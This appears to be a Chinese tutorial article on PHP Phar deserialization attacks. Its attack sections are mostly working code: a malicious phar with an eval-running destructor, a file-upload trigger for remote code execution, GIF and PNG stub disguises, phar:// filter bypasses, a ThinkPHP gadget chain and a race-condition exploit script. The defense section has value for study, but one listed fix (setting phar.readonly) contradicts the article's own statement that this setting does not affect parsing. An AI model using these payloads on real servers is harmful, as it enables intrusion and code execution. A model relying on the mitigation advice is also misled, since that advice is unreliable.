news 2026/7/16 1:54:26

PHP Phar反序列化:从协议解析到实战绕过技巧剖析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PHP Phar反序列化:从协议解析到实战绕过技巧剖析

1. 初识PHP Phar协议

Phar(PHP Archive)是PHP中类似JAR的打包文件格式,从PHP 5.3开始默认支持。它能把多个PHP文件、资源打包成单个.phar文件,无需解压即可直接执行。就像把一堆工具装进工具箱,使用时打开箱子就能取用。

Phar文件由四部分组成:

  • Stub:文件标识头,格式为xxx<?php __HALT_COMPILER();?>,必须以__HALT_COMPILER()结尾
  • Manifest:存储压缩文件的属性、权限等信息,包含序列化的用户自定义meta-data
  • File Contents:实际压缩的文件内容
  • Signature(可选):文件末尾的签名验证

2. Phar反序列化漏洞原理

2.1 漏洞触发机制

当PHP通过phar://协议解析phar文件时,会自动反序列化manifest中的meta-data。这个过程不依赖unserialize()函数,而是由PHP内核在解析phar文件时自动完成。

关键点在于:任何文件操作函数只要参数可控且支持phar://协议,都可能触发反序列化。比如:

// 以下函数调用都会触发反序列化 file_exists('phar://test.phar'); file_get_contents('phar://test.phar/test.txt'); is_dir('phar://test.phar');

2.2 漏洞利用条件

  1. phar文件能上传到服务器(通过文件上传、缓存写入等方式)
  2. 存在可用的魔术方法(如__destruct()__wakeup()等作为"跳板")
  3. 文件操作函数参数可控,且未过滤phar://等特殊字符
  4. php.ini中phar.readonly=Off(默认On,但只影响生成phar,不影响解析)

3. 实战漏洞利用演示

3.1 生成恶意phar文件

class Exploit { public $cmd = 'system("whoami");'; function __destruct() { eval($this->cmd); } } @unlink('exploit.phar'); $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->setMetadata(new Exploit()); $phar->addFromString('test.txt', 'test'); $phar->stopBuffering();

3.2 上传并触发漏洞

假设存在文件上传功能:

// 上传控制器 move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/'.$_FILES['file']['name']); // 存在漏洞的代码 $file = $_GET['file']; // 可控参数 file_exists($file); // 触发反序列化

攻击者可以:

  1. 上传伪装成图片的phar文件(如exploit.jpg)
  2. 访问?file=phar://uploads/exploit.jpg触发RCE

4. 高级绕过技巧

4.1 文件类型伪装

通过添加文件头绕过上传检测:

// 伪装成GIF $phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); // 伪装为PNG $phar->setStub("\x89PNG\r\n\x1a\n<?php __HALT_COMPILER(); ?>");

4.2 协议嵌套绕过

phar://被过滤时:

// 使用压缩流包装器 compress.zlib://phar:///path/to/file.phar // 配合php://filter php://filter/resource=phar:///path/to/file.phar

4.3 特征混淆技术

  • 修改文件签名:使用Phar::setSignatureAlgorithm()更改签名算法
  • 注释注入:在stub中添加干扰字符如/*AAAA...*/
  • 转换为其他格式
    $phar->convertToExecutable(Phar::ZIP); // 转为zip格式 $phar->convertToExecutable(Phar::TAR); // 转为tar格式

5. 真实漏洞案例分析

5.1 ThinkPHP 5.x反序列化链

结合ThinkPHP的POP链实现RCE:

namespace think\process\pipes; class Windows { private $files; public function __construct() { $this->files = [new Pivot()]; // 触发模型反序列化 } } // 生成phar时设置metadata为Windows对象 $phar->setMetadata(new Windows());

5.2 条件竞争利用

当服务器会快速删除上传文件时:

# 竞争上传和触发 import threading import requests def upload(): while True: requests.post(url, files={'file': open('exploit.phar','rb')}) def trigger(): while True: r = requests.get(url+'?file=phar://exploit.phar') if 'flag{' in r.text: print(r.text) exit() threading.Thread(target=upload).start() threading.Thread(target=trigger).start()

6. 防御方案

6.1 代码层防护

  • 禁用危险协议:ini_set('phar.readonly', 1);
  • 严格过滤输入:
    $allowed = ['jpg', 'png']; $ext = pathinfo($filename, PATHINFO_EXTENSION); if(!in_array($ext, $allowed)) { die('Invalid file type'); }

6.2 系统层防护

  • 更新到PHP 8.0+(默认不再自动反序列化metadata)
  • 配置Web服务器禁止.phar文件访问
  • 使用open_basedir限制文件操作范围

6.3 安全开发建议

  • 避免使用__destruct()等魔术方法执行敏感操作
  • 对文件操作函数实施白名单控制
  • 使用finfo_file()而非文件扩展名检测类型

7. 检测与排查方法

7.1 自动化扫描

使用工具检测可能存在问题的代码模式:

# 使用semgrep查找危险函数 semgrep --config=p/php.lang.security.unserialize # 查找文件操作函数 grep -r "file_exists\|file_get_contents" /path/to/code

7.2 人工审计要点

  1. 查找所有包含phar://的代码路径
  2. 检查文件上传功能的处理逻辑
  3. 审查__wakeup()__destruct()等魔术方法
  4. 验证输入过滤是否完整

在实际项目中遇到这类漏洞时,我曾通过修改phar签名算法成功绕过某CMS的防护机制。关键是要理解phar协议解析的底层逻辑,才能针对不同场景设计有效的利用方案。建议在测试环境中多尝试各种绕过手法,积累实战经验。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/16 1:52:39

STM32F103看门狗实战:从独立到窗口的代码级对比与应用选型

1. STM32看门狗基础&#xff1a;嵌入式系统的守护者第一次接触STM32的看门狗功能时&#xff0c;我把它想象成现实生活中的宠物狗——如果你不及时喂食&#xff0c;它就会"发脾气"导致系统重启。这个看似简单的机制&#xff0c;却是嵌入式系统稳定运行的基石。STM32F1…

作者头像 李华
网站建设 2026/7/16 1:51:35

模拟电路实战:基于线性光耦的ADC隔离采样设计与误差分析

1. 线性光耦隔离采样的核心价值在工业控制、医疗设备和电力监测等场景中&#xff0c;我们常常需要采集高压侧的模拟信号&#xff0c;但又要确保低压侧控制系统的安全。这时候&#xff0c;HCNR200/201这类线性光耦就像个"智能翻译官"——它能将高压侧的模拟信号"…

作者头像 李华
网站建设 2026/7/16 1:49:50

鸿蒙 ArkTS 实战:Road Trip Book 从出行记录到状态反馈完整解析

鸿蒙 ArkTS 实战&#xff1a;Road Trip Book 从出行记录到状态反馈完整解析 前言 Road Trip Book 是一个面向 出行管理与通勤习惯 的鸿蒙 ArkTS 小应用。记录出行条目、站点信息和提醒备注&#xff0c;适合日常出行复盘。 本文基于 entry/src/main/ets/pages/Index.ets 的真实…

作者头像 李华
网站建设 2026/7/16 1:44:48

编码器测速原理与STM32实战:从分类到代码实现

1. 编码器基础&#xff1a;从分类到工作原理第一次接触编码器是在大四的智能车竞赛上&#xff0c;当时为了精确控制小车的电机转速&#xff0c;不得不硬着头皮研究这个"会输出脉冲的小玩意儿"。现在回想起来&#xff0c;编码器确实是运动控制系统中不可或缺的"眼…

作者头像 李华
网站建设 2026/7/16 1:44:41

C++项目glog日志库实战:从编译集成到高级配置全解析

1. 项目概述如果你在C项目里用过Google Logging&#xff08;glog&#xff09;&#xff0c;大概率对它又爱又恨。爱的是它那套基于C流式风格的日志API&#xff0c;用起来确实顺手&#xff0c;LOG(INFO) << “Something happened: “ << value;这种写法&#xff0c;既…

作者头像 李华
网站建设 2026/7/16 1:42:03

LinkSwift:一站式网盘直链下载助手,告别九大网盘限速烦恼

LinkSwift&#xff1a;一站式网盘直链下载助手&#xff0c;告别九大网盘限速烦恼 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 &#xff0c;支持 百度网盘 / 阿里云盘 / 中国移…

作者头像 李华